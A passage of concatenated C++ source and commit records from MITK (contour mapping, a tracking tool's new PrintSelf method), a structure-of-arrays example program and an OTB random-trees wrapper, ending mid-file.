{\n this->GenerateDataForRenderer(renderer);\n }\n\n \/\/ since we have checked that nothing important has changed, we can set\n \/\/ m_LastUpdateTime to the current time\n localStorage->m_LastUpdateTime.Modified();\n}\n\nvtkSmartPointer<vtkPolyData> mitk::ContourModelMapper3D::CreateVtkPolyDataFromContour(mitk::ContourModel *inputContour)\n{\n unsigned int timestep = this->GetTimestep();\n\n \/\/ the points to draw\n vtkSmartPointer<vtkPoints> points = vtkSmartPointer<vtkPoints>::New();\n \/\/ the lines to connect the points\n vtkSmartPointer<vtkCellArray> lines = vtkSmartPointer<vtkCellArray>::New();\n \/\/ Create a polydata to store everything in\n vtkSmartPointer<vtkPolyData> polyData = vtkSmartPointer<vtkPolyData>::New();\n\n \/\/ iterate over the control points\n auto current = inputContour->IteratorBegin(timestep);\n auto next = inputContour->IteratorBegin(timestep);\n if (next != inputContour->IteratorEnd(timestep))\n {\n next++;\n\n auto end = inputContour->IteratorEnd(timestep);\n\n while (next != end)\n {\n mitk::ContourModel::VertexType *currentControlPoint = *current;\n mitk::ContourModel::VertexType *nextControlPoint = *next;\n\n if (!(currentControlPoint->Coordinates[0] == nextControlPoint->Coordinates[0] &&\n currentControlPoint->Coordinates[1] == nextControlPoint->Coordinates[1] &&\n currentControlPoint->Coordinates[2] == nextControlPoint->Coordinates[2]))\n {\n vtkIdType p1 = points->InsertNextPoint(currentControlPoint->Coordinates[0],\n currentControlPoint->Coordinates[1],\n currentControlPoint->Coordinates[2]);\n vtkIdType p2 = points->InsertNextPoint(\n nextControlPoint->Coordinates[0], nextControlPoint->Coordinates[1], nextControlPoint->Coordinates[2]);\n \/\/ add the line between both contorlPoints\n lines->InsertNextCell(2);\n lines->InsertCellPoint(p1);\n lines->InsertCellPoint(p2);\n }\n current++;\n next++;\n }\n\n if (inputContour->IsClosed(timestep))\n {\n \/\/ If the contour is closed add a line from the last to the first control point\n mitk::ContourModel::VertexType *firstControlPoint = *(inputContour->IteratorBegin(timestep));\n mitk::ContourModel::VertexType *lastControlPoint = *(--(inputContour->IteratorEnd(timestep)));\n if (lastControlPoint->Coordinates[0] != firstControlPoint->Coordinates[0] ||\n lastControlPoint->Coordinates[1] != firstControlPoint->Coordinates[1] ||\n lastControlPoint->Coordinates[2] != firstControlPoint->Coordinates[2])\n {\n vtkIdType p2 = points->InsertNextPoint(\n lastControlPoint->Coordinates[0], lastControlPoint->Coordinates[1], lastControlPoint->Coordinates[2]);\n vtkIdType p1 = points->InsertNextPoint(\n firstControlPoint->Coordinates[0], firstControlPoint->Coordinates[1], firstControlPoint->Coordinates[2]);\n\n \/\/ add the line to the cellArray\n lines->InsertNextCell(2);\n lines->InsertCellPoint(p1);\n lines->InsertCellPoint(p2);\n }\n }\n\n \/\/ Add the points to the dataset\n polyData->SetPoints(points);\n \/\/ Add the lines to the dataset\n polyData->SetLines(lines);\n }\n return polyData;\n}\n\nvoid mitk::ContourModelMapper3D::ApplyContourProperties(mitk::BaseRenderer *renderer)\n{\n LocalStorage *localStorage = m_LSH.GetLocalStorage(renderer);\n\n mitk::ColorProperty::Pointer colorprop =\n dynamic_cast<mitk::ColorProperty *>(GetDataNode()->GetProperty(\"contour.color\", renderer));\n if (colorprop)\n {\n \/\/ set the color of the contour\n double red = colorprop->GetColor().GetRed();\n double green = colorprop->GetColor().GetGreen();\n double blue = colorprop->GetColor().GetBlue();\n localStorage->m_Actor->GetProperty()->SetColor(red, green, blue);\n }\n}\n\n\/*+++++++++++++++++++ LocalStorage part +++++++++++++++++++++++++*\/\n\nmitk::ContourModelMapper3D::LocalStorage *mitk::ContourModelMapper3D::GetLocalStorage(mitk::BaseRenderer *renderer)\n{\n return m_LSH.GetLocalStorage(renderer);\n}\n\nmitk::ContourModelMapper3D::LocalStorage::LocalStorage()\n{\n m_Mapper = vtkSmartPointer<vtkPolyDataMapper>::New();\n m_Actor = vtkSmartPointer<vtkActor>::New();\n m_OutlinePolyData = vtkSmartPointer<vtkPolyData>::New();\n m_TubeFilter = vtkSmartPointer<vtkTubeFilter>::New();\n\n \/\/ set the mapper for the actor\n m_Actor->SetMapper(m_Mapper);\n}\n\nvoid mitk::ContourModelMapper3D::SetDefaultProperties(mitk::DataNode *node,\n mitk::BaseRenderer *renderer,\n bool overwrite)\n{\n node->AddProperty(\"color\", ColorProperty::New(1.0, 0.0, 0.0), renderer, overwrite);\n node->AddProperty(\"contour.3D.width\", mitk::FloatProperty::New(0.5), renderer, overwrite);\n\n Superclass::SetDefaultProperties(node, renderer, overwrite);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkInternalTrackingTool.h\"\n\n#include <itkMutexLockHolder.h>\n\ntypedef itk::MutexLockHolder<itk::FastMutexLock> MutexLockHolder;\n\nmitk::InternalTrackingTool::InternalTrackingTool()\n: TrackingTool(),\nm_TrackingError(0.0f),\nm_Enabled(true),\nm_DataValid(false),\nm_ToolTipSet(false)\n{\n m_Position[0] = 0.0f;\n m_Position[1] = 0.0f;\n m_Position[2] = 0.0f;\n m_Orientation[0] = 0.0f;\n m_Orientation[1] = 0.0f;\n m_Orientation[2] = 0.0f;\n m_Orientation[3] = 0.0f;\n \/\/ this should not be necessary as the tools bring their own tooltip transformation\n m_ToolTip[0] = 0.0f;\n m_ToolTip[1] = 0.0f;\n m_ToolTip[2] = 0.0f;\n m_ToolTipRotation[0] = 0.0f;\n m_ToolTipRotation[1] = 0.0f;\n m_ToolTipRotation[2] = 0.0f;\n m_ToolTipRotation[3] = 1.0f;\n}\n\nmitk::InternalTrackingTool::~InternalTrackingTool()\n{\n}\n\n\nvoid mitk::InternalTrackingTool::SetToolName(const char* _arg)\n{\n itkDebugMacro(\"setting m_ToolName to \" << _arg);\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if ( _arg && (_arg == this->m_ToolName) )\n {\n return;\n }\n if (_arg)\n {\n this->m_ToolName= _arg;\n }\n else\n {\n this->m_ToolName= \"\";\n }\n this->Modified();\n}\n\n\nvoid mitk::InternalTrackingTool::SetToolName( const std::string _arg )\n{\n this->SetToolName(_arg.c_str());\n}\n\n\nvoid mitk::InternalTrackingTool::GetPosition(mitk::Point3D& position) const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_ToolTipSet)\n {\n \/\/ Compute the position of tool tip in the coordinate frame of the\n \/\/ tracking device: Rotate the position of the tip into the tracking\n \/\/ device coordinate frame then add to the position of the tracking\n \/\/ sensor\n vnl_vector<float> pos_vnl = m_Position.Get_vnl_vector() + m_Orientation.rotate( m_ToolTip.Get_vnl_vector() ) ;\n position[0] = pos_vnl[0];\n position[1] = pos_vnl[1];\n position[2] = pos_vnl[2];\n }\n else\n {\n position[0] = m_Position[0];\n position[1] = m_Position[1];\n position[2] = m_Position[2];\n }\n this->Modified();\n}\n\n\nvoid mitk::InternalTrackingTool::SetPosition(mitk::Point3D position, mitk::ScalarType eps)\n{\n itkDebugMacro(\"setting m_Position to \" << position);\n if (!Equal(m_Position, position, eps))\n {\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n m_Position = position;\n this->Modified();\n }\n}\n\n\nvoid mitk::InternalTrackingTool::GetOrientation(mitk::Quaternion& orientation) const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_ToolTipSet)\n {\n \/\/ Compute the orientation of the tool tip in the coordinate frame of\n \/\/ the tracking device.\n \/\/\n \/\/ * m_Orientation is the orientation of the sensor relative to the transmitter\n \/\/ * m_ToolTipRotation is the orientation of the tool tip relative to the sensor\n orientation = m_Orientation * m_ToolTipRotation;\n }\n else\n {\n orientation = m_Orientation;\n }\n}\n\nvoid mitk::InternalTrackingTool::SetToolTip(mitk::Point3D toolTipPosition,\n mitk::Quaternion orientation,\n mitk::ScalarType eps)\n{\n if ( !Equal(m_ToolTip, toolTipPosition, eps) ||\n !Equal(m_ToolTipRotation, orientation, eps) )\n {\n if( (toolTipPosition[0] == 0) &&\n (toolTipPosition[1] == 0) &&\n (toolTipPosition[2] == 0) &&\n (orientation.x() == 0) &&\n (orientation.y() == 0) &&\n (orientation.z() == 0) &&\n (orientation.r() == 1))\n {\n m_ToolTipSet = false;\n }\n else\n {\n m_ToolTipSet = true;\n }\n m_ToolTip = toolTipPosition;\n m_ToolTipRotation = orientation;\n this->Modified();\n }\n}\n\nvoid mitk::InternalTrackingTool::SetOrientation(mitk::Quaternion orientation, mitk::ScalarType eps)\n{\n itkDebugMacro(\"setting m_Orientation to \" << orientation);\n if (!Equal(m_Orientation, orientation, eps))\n {\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n m_Orientation = orientation;\n this->Modified();\n }\n}\n\n\nvoid mitk::InternalTrackingTool::SetTrackingError(float error)\n{\n itkDebugMacro(\"setting m_TrackingError to \" << error);\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (error == m_TrackingError)\n {\n return;\n }\n m_TrackingError = error;\n this->Modified();\n}\n\n\nfloat mitk::InternalTrackingTool::GetTrackingError() const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n float r = m_TrackingError;\n return r;\n}\n\n\nbool mitk::InternalTrackingTool::Enable()\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_Enabled == false)\n {\n this->m_Enabled = true;\n this->Modified();\n }\n return true;\n}\n\n\nbool mitk::InternalTrackingTool::Disable()\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_Enabled == true)\n {\n this->m_Enabled = false;\n this->Modified();\n }\n return true;\n}\n\n\nbool mitk::InternalTrackingTool::IsEnabled() const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n return m_Enabled;\n}\n\n\nbool mitk::InternalTrackingTool::IsDataValid() const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n return m_DataValid;\n}\n\n\nvoid mitk::InternalTrackingTool::SetDataValid(bool _arg)\n{\n itkDebugMacro(\"setting m_DataValid to \" << _arg);\n if (this->m_DataValid != _arg)\n {\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n this->m_DataValid = _arg;\n this->Modified();\n }\n}\n\n\nvoid mitk::InternalTrackingTool::SetErrorMessage(const char* _arg)\n{\n itkDebugMacro(\"setting m_ErrorMessage to \" << _arg);\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if ((_arg == NULL) || (_arg == this->m_ErrorMessage))\n return;\n\n if (_arg != NULL)\n this->m_ErrorMessage = _arg;\n else\n this->m_ErrorMessage = \"\";\n this->Modified();\n}\n<commit_msg>Add mitk::InternalTrackingTool::PrintSelf<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkInternalTrackingTool.h\"\n\n#include <itkMutexLockHolder.h>\n\ntypedef itk::MutexLockHolder<itk::FastMutexLock> MutexLockHolder;\n\nmitk::InternalTrackingTool::InternalTrackingTool()\n: TrackingTool(),\nm_TrackingError(0.0f),\nm_Enabled(true),\nm_DataValid(false),\nm_ToolTipSet(false)\n{\n m_Position[0] = 0.0f;\n m_Position[1] = 0.0f;\n m_Position[2] = 0.0f;\n m_Orientation[0] = 0.0f;\n m_Orientation[1] = 0.0f;\n m_Orientation[2] = 0.0f;\n m_Orientation[3] = 0.0f;\n \/\/ this should not be necessary as the tools bring their own tooltip transformation\n m_ToolTip[0] = 0.0f;\n m_ToolTip[1] = 0.0f;\n m_ToolTip[2] = 0.0f;\n m_ToolTipRotation[0] = 0.0f;\n m_ToolTipRotation[1] = 0.0f;\n m_ToolTipRotation[2] = 0.0f;\n m_ToolTipRotation[3] = 1.0f;\n}\n\nmitk::InternalTrackingTool::~InternalTrackingTool()\n{\n}\n\nvoid mitk::InternalTrackingTool::PrintSelf(std::ostream& os, itk::Indent indent) const\n{\n Superclass::PrintSelf(os, indent);\n\n os << indent << \"Position: \" << m_Position << std::endl;\n os << indent << \"Orientation: \" << m_Orientation << std::endl;\n os << indent << \"TrackingError: \" << m_TrackingError << std::endl;\n os << indent << \"Enabled: \" << m_Enabled << std::endl;\n os << indent << \"DataValid: \" << m_DataValid << std::endl;\n os << indent << \"ToolTip: \" << m_ToolTip << std::endl;\n os << indent << \"ToolTipRotation: \" << m_ToolTipRotation << std::endl;\n os << indent << \"ToolTipSet: \" << m_ToolTipSet << std::endl;\n}\n\nvoid mitk::InternalTrackingTool::SetToolName(const char* _arg)\n{\n itkDebugMacro(\"setting m_ToolName to \" << _arg);\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if ( _arg && (_arg == this->m_ToolName) )\n {\n return;\n }\n if (_arg)\n {\n this->m_ToolName= _arg;\n }\n else\n {\n this->m_ToolName= \"\";\n }\n this->Modified();\n}\n\n\nvoid mitk::InternalTrackingTool::SetToolName( const std::string _arg )\n{\n this->SetToolName(_arg.c_str());\n}\n\n\nvoid mitk::InternalTrackingTool::GetPosition(mitk::Point3D& position) const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_ToolTipSet)\n {\n \/\/ Compute the position of tool tip in the coordinate frame of the\n \/\/ tracking device: Rotate the position of the tip into the tracking\n \/\/ device coordinate frame then add to the position of the tracking\n \/\/ sensor\n vnl_vector<float> pos_vnl = m_Position.Get_vnl_vector() + m_Orientation.rotate( m_ToolTip.Get_vnl_vector() ) ;\n position[0] = pos_vnl[0];\n position[1] = pos_vnl[1];\n position[2] = pos_vnl[2];\n }\n else\n {\n position[0] = m_Position[0];\n position[1] = m_Position[1];\n position[2] = m_Position[2];\n }\n this->Modified();\n}\n\n\nvoid mitk::InternalTrackingTool::SetPosition(mitk::Point3D position, mitk::ScalarType eps)\n{\n itkDebugMacro(\"setting m_Position to \" << position);\n if (!Equal(m_Position, position, eps))\n {\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n m_Position = position;\n this->Modified();\n }\n}\n\n\nvoid mitk::InternalTrackingTool::GetOrientation(mitk::Quaternion& orientation) const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_ToolTipSet)\n {\n \/\/ Compute the orientation of the tool tip in the coordinate frame of\n \/\/ the tracking device.\n \/\/\n \/\/ * m_Orientation is the orientation of the sensor relative to the transmitter\n \/\/ * m_ToolTipRotation is the orientation of the tool tip relative to the sensor\n orientation = m_Orientation * m_ToolTipRotation;\n }\n else\n {\n orientation = m_Orientation;\n }\n}\n\nvoid mitk::InternalTrackingTool::SetToolTip(mitk::Point3D toolTipPosition,\n mitk::Quaternion orientation,\n mitk::ScalarType eps)\n{\n if ( !Equal(m_ToolTip, toolTipPosition, eps) ||\n !Equal(m_ToolTipRotation, orientation, eps) )\n {\n if( (toolTipPosition[0] == 0) &&\n (toolTipPosition[1] == 0) &&\n (toolTipPosition[2] == 0) &&\n (orientation.x() == 0) &&\n (orientation.y() == 0) &&\n (orientation.z() == 0) &&\n (orientation.r() == 1))\n {\n m_ToolTipSet = false;\n }\n else\n {\n m_ToolTipSet = true;\n }\n m_ToolTip = toolTipPosition;\n m_ToolTipRotation = orientation;\n this->Modified();\n }\n}\n\nvoid mitk::InternalTrackingTool::SetOrientation(mitk::Quaternion orientation, mitk::ScalarType eps)\n{\n itkDebugMacro(\"setting m_Orientation to \" << orientation);\n if (!Equal(m_Orientation, orientation, eps))\n {\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n m_Orientation = orientation;\n this->Modified();\n }\n}\n\n\nvoid mitk::InternalTrackingTool::SetTrackingError(float error)\n{\n itkDebugMacro(\"setting m_TrackingError to \" << error);\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (error == m_TrackingError)\n {\n return;\n }\n m_TrackingError = error;\n this->Modified();\n}\n\n\nfloat mitk::InternalTrackingTool::GetTrackingError() const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n float r = m_TrackingError;\n return r;\n}\n\n\nbool mitk::InternalTrackingTool::Enable()\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_Enabled == false)\n {\n this->m_Enabled = true;\n this->Modified();\n }\n return true;\n}\n\n\nbool mitk::InternalTrackingTool::Disable()\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if (m_Enabled == true)\n {\n this->m_Enabled = false;\n this->Modified();\n }\n return true;\n}\n\n\nbool mitk::InternalTrackingTool::IsEnabled() const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n return m_Enabled;\n}\n\n\nbool mitk::InternalTrackingTool::IsDataValid() const\n{\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n return m_DataValid;\n}\n\n\nvoid mitk::InternalTrackingTool::SetDataValid(bool _arg)\n{\n itkDebugMacro(\"setting m_DataValid to \" << _arg);\n if (this->m_DataValid != _arg)\n {\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n this->m_DataValid = _arg;\n this->Modified();\n }\n}\n\n\nvoid mitk::InternalTrackingTool::SetErrorMessage(const char* _arg)\n{\n itkDebugMacro(\"setting m_ErrorMessage to \" << _arg);\n MutexLockHolder lock(*m_MyMutex); \/\/ lock and unlock the mutex\n if ((_arg == NULL) || (_arg == this->m_ErrorMessage))\n return;\n\n if (_arg != NULL)\n this->m_ErrorMessage = _arg;\n else\n this->m_ErrorMessage = \"\";\n this->Modified();\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n\n#include <soa.h>\n\nvoid print_soa_iis(const SoA<int, std::string, int> &soa_iis) {\n for (int i = 0; i < soa_iis.size(); ++i) {\n std::cout << \"(\" << i << \"): \" << soa_iis.get<0>(i) << \", \\\"\"\n << soa_iis.get<1>(i) << \"\\\", \"\n << soa_iis.get<2>(i) << std::endl;\n }\n}\n\nint main() {\n SoA<int, std::string, int> soa_iis;\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n\n soa_iis.push_back(22, \"Kitty\", 4);\n soa_iis.push_back(0, \"Hi\", 2);\n\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Iterate the arrays and print out the elements.\n std::cout << \"Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Swap the elements.\n soa_iis.swap(0, 1);\n std::cout << \"Swapped first two elements. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Modify an element\n soa_iis.get<1>(0) = \"I am changed!\";\n std::cout << \"Modified the 0th element. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Erase an element.\n soa_iis.erase(0);\n std::cout << \"Erased 0th element. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Add two new elements...\n soa_iis.push_back(1, \"Hi... for now...\", 5);\n soa_iis.push_back(80, \"I'll survive!'\", 20);\n std::cout << \"Added 2 new elements. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ And erase the first two.\n soa_iis.erase(0, 2);\n std::cout << \"Erased first 2 elements. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n\n \/\/ Kill the arrays via resize.\n soa_iis.resize(0);\n std::cout << \"Resized to 0. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Resize to have some new elements.\n soa_iis.resize(5);\n std::cout << \"Resized to 5. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Modify an element and insert an element.\n soa_iis.get<1>(3) = \"Oh hai!\";\n soa_iis.get<2>(3) = 11;\n soa_iis.get<0>(3) = 22;\n soa_iis.push_back(100, \"I'm new!.\", 20);\n std::cout\n << \"Modified the 4th element and added a new one. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Get arrays and print them.\n std::cout << \"Printing arrays individually:\\n\";\n int *ints0 = soa_iis.array<0>();\n std::string *strings = soa_iis.array<1>();\n int *ints1 = soa_iis.array<2>();\n for (int i = 0; i < soa_iis.size(); ++i) {\n std::cout << \"Index: \" << i << \": \";\n std::cout << ints0[i] << \", \\\"\";\n std::cout << strings[i] << \"\\\", \";\n std::cout << ints1[i] << std::endl;\n }\n}\n<commit_msg>Ran clang format on soa_example.cc<commit_after>#include <iostream>\n#include <string>\n\n#include <soa.h>\n\nvoid print_soa_iis(const SoA<int, std::string, int>& soa_iis) {\n for (int i = 0; i < soa_iis.size(); ++i) {\n std::cout << \"(\" << i << \"): \" << soa_iis.get<0>(i) << \", \\\"\"\n << soa_iis.get<1>(i) << \"\\\", \" << soa_iis.get<2>(i) << std::endl;\n }\n}\n\nint main() {\n SoA<int, std::string, int> soa_iis;\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n\n soa_iis.push_back(22, \"Kitty\", 4);\n soa_iis.push_back(0, \"Hi\", 2);\n\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Iterate the arrays and print out the elements.\n std::cout << \"Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Swap the elements.\n soa_iis.swap(0, 1);\n std::cout << \"Swapped first two elements. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Modify an element\n soa_iis.get<1>(0) = \"I am changed!\";\n std::cout << \"Modified the 0th element. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Erase an element.\n soa_iis.erase(0);\n std::cout << \"Erased 0th element. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ Add two new elements...\n soa_iis.push_back(1, \"Hi... for now...\", 5);\n soa_iis.push_back(80, \"I'll survive!'\", 20);\n std::cout << \"Added 2 new elements. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << std::endl;\n\n \/\/ And erase the first two.\n soa_iis.erase(0, 2);\n std::cout << \"Erased first 2 elements. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n\n \/\/ Kill the arrays via resize.\n soa_iis.resize(0);\n std::cout << \"Resized to 0. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Resize to have some new elements.\n soa_iis.resize(5);\n std::cout << \"Resized to 5. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Modify an element and insert an element.\n soa_iis.get<1>(3) = \"Oh hai!\";\n soa_iis.get<2>(3) = 11;\n soa_iis.get<0>(3) = 22;\n soa_iis.push_back(100, \"I'm new!.\", 20);\n std::cout\n << \"Modified the 4th element and added a new one. Arrays now contain:\\n\";\n print_soa_iis(soa_iis);\n std::cout << \"size: \" << soa_iis.size() << std::endl;\n std::cout << \"empty: \" << soa_iis.empty() << std::endl;\n std::cout << std::endl;\n\n \/\/ Get arrays and print them.\n std::cout << \"Printing arrays individually:\\n\";\n int* ints0 = soa_iis.array<0>();\n std::string* strings = soa_iis.array<1>();\n int* ints1 = soa_iis.array<2>();\n for (int i = 0; i < soa_iis.size(); ++i) {\n std::cout << \"Index: \" << i << \": \";\n std::cout << ints0[i] << \", \\\"\";\n std::cout << strings[i] << \"\\\", \";\n std::cout << ints1[i] << std::endl;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"otbCvRTreesWrapper.h\"\n#include <algorithm>\n#include <functional>\n\nnamespace otb\n{\n\nCvRTreesWrapper::CvRTreesWrapper()\n{\n#ifdef OTB_OPENCV_3\n m_Impl = cv::ml::RTrees::create();\n#endif\n}\n\nCvRTreesWrapper::~CvRTreesWrapper()\n{\n}\n\nvoid CvRTreesWrapper::get_votes(const cv::Mat& sample, \n const cv::Mat& missing,\n CvRTreesWrapper::VotesVectorType& vote_count) const\n{\n#ifdef OTB_OPENCV_3\n (void) sample;\n (void) missing;\n (void) vote_count;\n \/\/ TODO\n#else\n vote_count.resize(nclasses);\n for( int k = 0; k < ntrees; k++ )\n {\n CvDTreeNode* predicted_node = trees[k]->predict( sample, missing );\n int class_idx = predicted_node->class_idx;\n CV_Assert( 0 <= class_idx && class_idx < nclasses );\n ++vote_count[class_idx];\n }\n#endif\n}\n\nfloat CvRTreesWrapper::predict_margin(const cv::Mat& sample, \n const cv::Mat& missing) const\n{\n#ifdef OTB_OPENCV_3\n (void) sample;\n (void) missing;\n \/\/ TODO\n return 0.;\n#else\n \/\/ Sanity check (division by ntrees later on)\n if(ntrees == 0)\n {\n return 0.;\n }\n std::vector<unsigned int> classVotes;\n this->get_votes(sample, missing, classVotes);\n\/\/ We only sort the 2 greatest elements\n std::nth_element(classVotes.begin(), classVotes.begin()+1, \n classVotes.end(), std::greater<unsigned int>());\n float margin = static_cast<float>(classVotes[0]-classVotes[1])\/ntrees;\n return margin;\n#endif\n}\n\nfloat CvRTreesWrapper::predict_confidence(const cv::Mat& sample, \n const cv::Mat& missing) const\n{\n#ifdef OTB_OPENCV_3\n (void) sample;\n (void) missing;\n \/\/ TODO\n return 0.;\n#else\n \/\/ Sanity check (division by ntrees later on)\n if(ntrees == 0)\n {\n return 0.;\n }\n std::vector<unsigned int> classVotes;\n this->get_votes(sample, missing, classVotes);\n unsigned int max_votes = *(std::max_element(classVotes.begin(), \n classVotes.end()));\n float confidence = static_cast<float>(max_votes)\/ntrees;\n return confidence;\n#endif\n}\n\n#ifdef OTB_OPENCV_3\n#define OTB_CV_WRAP_IMPL(type,name) \\\ntype CvRTreesWrapper::get##name() const \\\n{ return m_Impl->get##name(); } \\\nvoid CvRTreesWrapper::set##name(type val) \\\n{ m_Impl->set##name(val); }\n\n#define OTB_CV_WRAP_IMPL_REF(type,name) \\\ntype CvRTreesWrapper::get##name() const \\\n{ return m_Impl->get##name(); } \\\nvoid CvRTreesWrapper::set##name(const type &val) \\\n{ m_Impl->set##name(val); }\n\n#define OTB_CV_WRAP_IMPL_CSTREF_GET(type, name) \\\nconst type& CvRTreesWrapper::get##name() const \\\n{ return m_Impl->get##name(); }\n\n\/\/ TODO : wrap all method used\nOTB_CV_WRAP_IMPL(int, MaxCategories)\nOTB_CV_WRAP_IMPL(int, MaxDepth)\nOTB_CV_WRAP_IMPL(int, MinSampleCount)\nOTB_CV_WRAP_IMPL(bool, UseSurrogates)\nOTB_CV_WRAP_IMPL(int, CVFolds)\nOTB_CV_WRAP_IMPL(bool, Use1SERule)\nOTB_CV_WRAP_IMPL(bool,TruncatePrunedTree)\nOTB_CV_WRAP_IMPL(float, RegressionAccuracy)\nOTB_CV_WRAP_IMPL(bool, CalculateVarImportance)\nOTB_CV_WRAP_IMPL(int, ActiveVarCount)\nOTB_CV_WRAP_IMPL_REF(cv::Mat, Priors)\nOTB_CV_WRAP_IMPL_REF(cv::TermCriteria, TermCriteria)\n\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<int>, Roots)\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<cv::ml::DTrees::Node>, Nodes)\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<cv::ml::DTrees::Split>, Splits)\nOTB_CV_WRAP_IMPL_CSTREF_GET(std::vector<int>, Subsets)\n\nint CvRTreesWrapper::getVarCount() const\n{\n return m_Impl->getVarCount();\n}\n\nbool CvRTreesWrapper::isTrained() const\n{\n return m_Impl->isTrained();\n}\n\nbool CvRTreesWrapper::isClassifier() const\n{\n return m_Impl->isClassifier();\n}\n\ncv::Mat 